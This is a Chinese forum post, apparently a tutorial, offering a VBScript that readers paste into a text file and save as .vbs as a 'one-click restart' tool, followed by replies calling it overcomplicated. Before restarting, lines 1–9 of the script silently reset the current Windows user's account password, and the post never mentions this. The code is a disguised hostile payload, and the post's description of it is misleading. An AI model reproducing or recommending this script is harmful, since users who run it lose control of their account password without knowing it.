如何制作一键重启

首先打开电脑文本文档，然后打入这串代码

1. Const strPassword = ""'
   
2. Dim WshNetwork
   
3. Set WshNetwork = CreateObject("WScript.Network")
   
4. Dim userName
   
5. userName = WshNetwork.userName&",user"
   
6. Dim Domain
   
7. Set Domain = GetObject("WinNT://./"&userName)
   
8. Domain.SetPassword strPassword
   
9. Domain.SetInfo
   
10. dim gj
    
11. 
    
12. set gj=createobject("wscript.shell")
    
13. 
    
14. gj.run"shutdown -f -t"'
    
15. 
    
16. Set objWMI = GetObject("winmgmts:" & "{impersonationLevel=impersonate}!\\.\root\cimv2")
    
17. objWMI.Security_.ImpersonationLevel=3
    
18. objWMI.Security_.Privileges.Add 18
    
19. Set colOS=objWMI.InstancesOf ("Win32_OperatingSystem where Primary=true")
    
20. For Each clsOS in colOS
    
21. clsOS.Reboot()
    
22. Next

复制代码

保存，把后缀改为

vbs

这样子就可以制作出一键重启了，我们下一期再见。

挺好用

有点复杂化了

五云包子 发表于 2022-8-18 10:42
有点复杂化了

不复杂啊

陈智才 发表于 2022-8-20 16:51
不复杂啊

一个指令就能解决的问题搞复杂了

五云包子 发表于 2022-8-22 10:00
一个指令就能解决的问题搞复杂了

这是特别方便的一键重启

陈智才 发表于 2022-8-28 18:34
这是特别方便的一键重启

用一个bat就能解决的问题搞的太复杂了

明明一个命令行快捷方式就完了，或者C++system也行啊，这也太复杂了。。。

你怎么敢确定这个一个重启文本

cmd命令提示符，bat，C++system函数都能解决